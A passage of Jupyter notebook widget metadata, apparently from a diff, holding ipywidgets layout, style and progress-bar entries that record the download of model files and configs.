null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "51890b032fbb48139e11d69850a6db57": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "51b27a7dc0d34dd09b1ea17aba1fb697": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "52403e4bc442416fac24e0880f2a3faf": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "5248a6e5d8044c53803426afaf2439af": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_d50a15bbc94f49c39941bacd8c7b99ba", + "placeholder": "​", + "style": "IPY_MODEL_a8dcc8f3435a4870a76be1729b003b6f", + "value": " 492M/492M [00:06<00:00, 101MB/s]" + } + }, + "527478832a8e451ea056c50ee2b241ab": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "52a201ace1f647059d93e5d9406afee5": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "53774d0251ea4e4a884fc265a5ce561b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_e116ebfa368d424ca64eea23a82ef959", + "max": 489648389, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_2b92efb0492b4af6b50e2d5754212b5c", + "value": 489648389 + } + }, + "54746d0ef2e7453faddcc3b6066def51": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "5494938bff7d4c6da3d82f1034404362": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "5532a6b6181a4aecbfca636813b661fd": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "554525ce609044b68804e97c6b45c510": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_0d45fef5bbf447938e7621e77207e1ae", + "placeholder": "​", + "style": "IPY_MODEL_681be606b86c42fd9cad68e63e2782de", + "value": "Fetching 13 files: 100%" + } + }, + "55e0a986be424043846c0e863158a1bd": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "55f31f27ce954a0c8c0d1e63938c7bc0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_452c129fabca48efa832b81481703bab", + "placeholder": "​", + "style": "IPY_MODEL_6e327baf7a9144fcaff7c6317d018862", + "value": "Downloading (…)ch_model.safetensors: 100%" + } + }, + "55fe364a57aa4eaa93cb93b889d241c5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_978a0bae9c5f4ab7ac45f1f4f870fef0", + "placeholder": "​", + "style": "IPY_MODEL_233120cc0399483ea17284432feb16d3", + "value": " 472/472 [00:00<00:00, 2.36kB/s]" + } + }, + "56cc25e58ea3445f9135817143224d2c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "57216de8dfcc4ab78bfb8c41fae856b4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_c85b3e0dd20f414181d768cac5c9ab4e", + "IPY_MODEL_53774d0251ea4e4a884fc265a5ce561b", + "IPY_MODEL_30cdb95dd5d746b1adacaaf823b21b89" + ], + "layout": "IPY_MODEL_bfd0a68276654b4997b802bc6d47f684" + } + }, + "57420a6e093c4de9845db953b8e0269b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_589f9b88c3c746dd9aead96a6ef56fee", + "max": 806, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_4bf53145f39644d2bf5c3e31f9f23b1a", + "value": 806 + } + }, + "5837463f803c4c93b91a21d9854ae574": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_cb157284f72d428fb786527ce87d11a2", + "placeholder": "​", + "style": "IPY_MODEL_24030dedd2f24e2cbfa3833249d09810", + "value": " 342/342 [00:00<00:00, 4.08kB/s]" + } + }, + "5850294bc56d489cb8eb90483f77254e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "58657e2570434d73be122eafb42f490a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "589f9b88c3c746dd9aead96a6ef56fee": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "58c63ae0605a4f1192c52e4306602fd7": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "5b6fcc006e8b47c4a416e38991201a42": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_2caabb6f82ef46ecbda6c0baf215d72a", + "placeholder": "​", + "style": "IPY_MODEL_f1e983f41294422087b5be9a9df11fa3", + "value": " 13/13 [00:28<00:00, 2.82s/it]" + } + }, + "5c428d2de97f4bc28835ead1f6331e9e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_b08e7b6e25c24054ac5b2b18bcb6f2ae", + "placeholder": "​", + "style": "IPY_MODEL_5532a6b6181a4aecbfca636813b661fd", + "value": " 617/617 [00:00<00:00, 4.84kB/s]" + } + }, + "5cbe59686c0d475a8e2274ffcb64d992": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "5e144bb789054a88a43db4329bb2df05": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "5eca9f78607349a9893b0c88f3c53181": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "5f012cede7a0405fbb12550072bccbc2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "5fc991cde70546d3a665982956cca6b5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_2dc4775bcef749b7bbbb3f71d714211c", + "max": 541, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_838cb3152f3c48ec814de02def9b75f2", + "value": 541 + } + }, + "600acc1527c4482fb7307f2d423a0a01": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_f16aa25f9d2b49cc87cde26cf7dc316f", + "max": 1445157124, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_a263feafcec44c2eab4150af170d670a", + "value": 1445157124 + } + }, + "6055afd2e29c42e09d5f923c34cf1579": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "60ebb0e8c1174c839a26182b38d4ae9b": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "611bde262a924746a253ab5481b9b212": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_7267e3d447ef4dfa97c3fc6a560ea797", + "placeholder": "​", + "style": "IPY_MODEL_2bc90ab8db7b4f979ff0cb5eb01284a6", + "value": " 335M/335M [00:04<00:00, 82.3MB/s]" + } + }, + "61e2139115904b94967c220fd214b5df": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_847b736c058c47f9adf366c4bb920a0d", + "placeholder": "​", + "style": "IPY_MODEL_a1b45d2ecbe44a158b7a0e2f818922ae", + "value": "Downloading (…)_encoder/config.json: 100%" + } + }, + "6224c6c1d4b145ed86564e7d62fbe4c2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "629f9b2f0b79420ba0baeb5961df73da": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "633f3db9f5dd4f6984aa821a1717c03b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_697d6a7fa4ee4d37bb80d624ffedf526", + "placeholder": "​", + "style": "IPY_MODEL_c87c97a9ed4b493c8d6df7d11b1684ca", + "value": "Downloading (…)_encoder/config.json: 100%" + } + }, + "635b3c726b5049818d8384ad992e2550": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "636973b7927b44bbaac28737227e7599": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "64180e5dd63840e3bb21af7aefa3cf45": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": 